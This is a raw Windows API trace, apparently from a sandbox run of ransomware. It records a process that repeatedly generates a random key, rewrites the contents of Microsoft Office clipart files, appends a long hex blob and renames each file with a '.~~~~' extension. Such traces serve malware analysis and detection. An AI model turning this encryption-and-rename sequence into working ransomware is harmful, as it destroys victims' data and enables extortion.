	[0119.930] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0119.930] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0119.930] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e9958
	[0119.930] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0119.930] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e9958 | out: hHeap=0x300000) returned 1
	[0119.930] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x29435a8
	[0119.930] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0119.930] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f78e8
	[0119.930] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29435a8 | out: hHeap=0x300000) returned 1
	[0119.930] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b4278
	[0119.930] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f78e8 | out: hHeap=0x300000) returned 1
	[0119.930] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0119.931] GetLastError () returned 0x0
	[0119.931] GetLastError () returned 0x0
	[0119.931] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0119.931] GetLastError () returned 0x0
	[0119.931] GetLastError () returned 0x0
	[0120.112] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffd896, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.112] WriteFile (in: hFile=0x128, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x276a, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0x276a, lpOverlapped=0x0) returned 1
	[0120.114] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0120.114] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0120.114] WriteFile (in: hFile=0x128, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0120.114] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0120.114] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0120.114] CloseHandle (hObject=0x128) returned 1
	[0120.114] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0120.114] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00006_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00006_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00006_.wmf.~~~~")) returned 1
	[0120.120] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0120.125] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0120.125] GetLastError () returned 0x0
	[0120.126] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x2942ca8) returned 1
	[0120.131] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0120.131] CryptReleaseContext (hProv=0x2942ca8, dwFlags=0x0) returned 1
	[0120.131] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0120.131] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0120.131] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0120.132] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24012167665) returned 1
	[0120.132] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb11622d0, dwHighDateTime=0x1d60e1e)) 
	[0120.132] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0120.132] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0120.132] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0120.132] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e9a70
	[0120.132] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0120.132] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e9a70 | out: hHeap=0x300000) returned 1
	[0120.132] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0120.132] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0120.132] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0120.132] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0120.132] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b4608
	[0120.133] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0120.133] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0120.133] GetLastError () returned 0x0
	[0120.133] GetLastError () returned 0x0
	[0120.133] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0120.133] GetLastError () returned 0x0
	[0120.133] GetLastError () returned 0x0
	[0120.145] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffff83b6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.145] WriteFile (in: hFile=0x128, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x7c4a, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0x7c4a, lpOverlapped=0x0) returned 1
	[0120.146] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0120.151] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0120.151] WriteFile (in: hFile=0x128, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0120.151] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0120.151] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0120.151] CloseHandle (hObject=0x128) returned 1
	[0120.160] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f78e8
	[0120.160] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00233_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00233_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00233_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00233_.wmf.~~~~")) returned 1
	[0120.162] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f78e8 | out: hHeap=0x300000) returned 1
	[0120.162] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0120.162] GetLastError () returned 0x0
	[0120.163] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x2942ca8) returned 1
	[0120.164] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0120.164] CryptReleaseContext (hProv=0x2942ca8, dwFlags=0x0) returned 1
	[0120.164] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0120.164] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0120.164] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0120.164] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24015447286) returned 1
	[0120.164] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb11ae590, dwHighDateTime=0x1d60e1e)) 
	[0120.164] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0120.165] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0120.165] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0120.165] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e9ae0
	[0120.165] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0120.165] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e9ae0 | out: hHeap=0x300000) returned 1
	[0120.165] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0120.165] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0120.165] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f78e8
	[0120.165] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0120.165] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b4ac8
	[0120.165] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f78e8 | out: hHeap=0x300000) returned 1
	[0120.165] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0120.166] GetLastError () returned 0x0
	[0120.166] GetLastError () returned 0x0
	[0120.166] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0120.166] GetLastError () returned 0x0
	[0120.166] GetLastError () returned 0x0
	[0120.192] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffffdfac, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.192] WriteFile (in: hFile=0x130, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x2054, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x24dfec0*=0x2054, lpOverlapped=0x0) returned 1
	[0120.194] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0120.194] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0120.194] WriteFile (in: hFile=0x130, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0120.194] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0120.194] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0120.195] CloseHandle (hObject=0x130) returned 1
	[0120.195] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0120.195] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00482_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00482_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00482_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00482_.wmf.~~~~")) returned 1
	[0120.196] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0120.196] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0120.196] GetLastError () returned 0x0
	[0120.395] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x2942ca8) returned 1
	[0120.396] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0120.396] CryptReleaseContext (hProv=0x2942ca8, dwFlags=0x0) returned 1
	[0120.396] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0120.396] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0120.396] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0120.397] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24038666763) returned 1
	[0120.397] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb13c38d0, dwHighDateTime=0x1d60e1e)) 
	[0120.397] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0120.397] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0120.397] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0120.397] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e9c30
	[0120.397] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0120.397] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e9c30 | out: hHeap=0x300000) returned 1
	[0120.397] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0120.397] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0120.397] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f8758
	[0120.397] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0120.397] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b4ef0
	[0120.397] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f8758 | out: hHeap=0x300000) returned 1
	[0120.397] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0120.397] GetLastError () returned 0x0
	[0120.398] GetLastError () returned 0x0
	[0120.398] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0120.398] GetLastError () returned 0x0
	[0120.398] GetLastError () returned 0x0
	[0120.479] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffec9f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.480] WriteFile (in: hFile=0x140, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x1361, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x24dfec0*=0x1361, lpOverlapped=0x0) returned 1
	[0120.481] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0120.481] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0120.481] WriteFile (in: hFile=0x140, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0120.481] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0120.481] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0120.481] CloseHandle (hObject=0x140) returned 1
	[0120.481] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f78e8
	[0120.481] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\vctrn_01.mid"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\vctrn_01.mid.~~~~")) returned 1
	[0120.482] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f78e8 | out: hHeap=0x300000) returned 1
	[0120.482] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0120.482] GetLastError () returned 0x0
	[0120.483] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x2942ca8) returned 1
	[0120.483] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0120.483] CryptReleaseContext (hProv=0x2942ca8, dwFlags=0x0) returned 1
	[0120.484] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0120.484] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0120.484] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0120.484] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24047376914) returned 1
	[0120.484] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb1481fb0, dwHighDateTime=0x1d60e1e)) 
	[0120.484] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0120.484] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0120.484] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0120.484] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e9e60
	[0120.484] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0120.484] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e9e60 | out: hHeap=0x300000) returned 1
	[0120.484] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0120.484] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0120.484] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f78e8
	[0120.484] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0120.484] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b4dc0
	[0120.484] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f78e8 | out: hHeap=0x300000) returned 1
	[0120.484] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0120.484] GetLastError () returned 0x0
	[0120.485] GetLastError () returned 0x0
	[0120.485] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0120.485] GetLastError () returned 0x0
	[0120.485] GetLastError () returned 0x0
	[0120.486] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffffe55, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.486] WriteFile (in: hFile=0x140, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x1ab, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x24dfec0*=0x1ab, lpOverlapped=0x0) returned 1
	[0120.487] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0120.487] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0120.487] WriteFile (in: hFile=0x140, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0120.487] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0120.487] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0120.487] CloseHandle (hObject=0x140) returned 1
	[0120.487] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f78e8
	[0120.488] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01268_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01268_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01268_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01268_.gif.~~~~")) returned 1
	[0120.488] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f78e8 | out: hHeap=0x300000) returned 1
	[0120.488] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0120.488] GetLastError () returned 0x0
	[0120.489] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x2942ca8) returned 1
	[0120.490] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0120.490] CryptReleaseContext (hProv=0x2942ca8, dwFlags=0x0) returned 1
	[0120.490] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0120.490] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0120.490] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0120.490] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24047986169) returned 1
